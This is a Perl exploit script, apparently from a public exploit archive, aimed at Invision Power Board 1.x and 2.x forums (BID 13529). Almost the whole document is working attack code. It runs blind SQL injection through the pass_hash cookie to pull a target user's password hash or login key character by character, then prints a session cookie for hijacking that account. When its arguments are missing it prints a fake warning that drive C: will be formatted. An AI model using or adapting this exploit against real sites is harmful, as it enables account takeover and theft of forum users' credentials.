Invision Power Board 1.* and 2.* Exploit (BID 13529)

#!/usr/bin/perl -w
##################################################################
# This one actually works :) Just paste the outputted cookie into 
# your request header using livehttpheaders or something and you
# will probably be logged in as that user. No need to decrypt it!
# Exploit coded by "Tony Little Lately" and "Petey Beege"
##################################################################

use LWP::UserAgent;

   $ua = new LWP::UserAgent;
   $ua->agent("Mosiac 1.0" . $ua->agent);
   
if (!$ARGV[0]) {$ARGV[0] = '';}
if (!$ARGV[3]) {$ARGV[3] = '';}

my $path = $ARGV[0] . '/index.php?act=Login&CODE=autologin';
my $user = $ARGV[1];   # userid to jack
my $iver = $ARGV[2];   # version 1 or 2
my $cpre = $ARGV[3];   # cookie prefix
my $dbug = $ARGV[4];   # debug?

if (!$ARGV[2])
{
        print "The type of the file system is NTFS.\n\n";
        print "WARNING, ALL DATA ON NON-REMOVABLE DISK\n";
        print "DRIVE C: WILL BE LOST!\n";
        print "Proceed with Format (Y/N)?\n";
        exit;
}

my @charset = ("0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f");

my $outputs = '';

for( $i=1; $i < 33; $i++ )
{
        for( $j=0; $j < 16; $j++ )
        {
                my $current = $charset[$j];     
            my $sql = ( $iver < 2 ) ?  
"99%2527+OR+(id%3d$user+AND+MID(password,$i,1)%3d%2527$current%2527)/*" : 
"99%2527+OR+(id%3d$user+AND+MID(member_login_key,$i,1)%3d%2527$current%2527)/*";
                my @cookie = ('Cookie' => $cpre . "member_id=31337420; " . 
$cpre . "pass_hash=" . $sql);
                my $res = $ua->get($path, @cookie);

                # If we get a valid sql request then this
                # does not appear anywhere in the sources
                $pattern = '<title>(.*)Log In(.*)</title>'; 
                
                $_ = $res->content;
                
                if ($dbug) { print };
                
                if ( !(/$pattern/) )
                {
                        $outputs .= $current;
                        print "$current\n";
                    last;                       
                }
                
        }
  if ( length($outputs) < 1 )   { print "Not Exploitable!\n"; exit;     }
}
print "Cookie: " . $cpre . "member_id=" . $user . ";" . $cpre . "pass_hash=" . 
$outputs;
exit;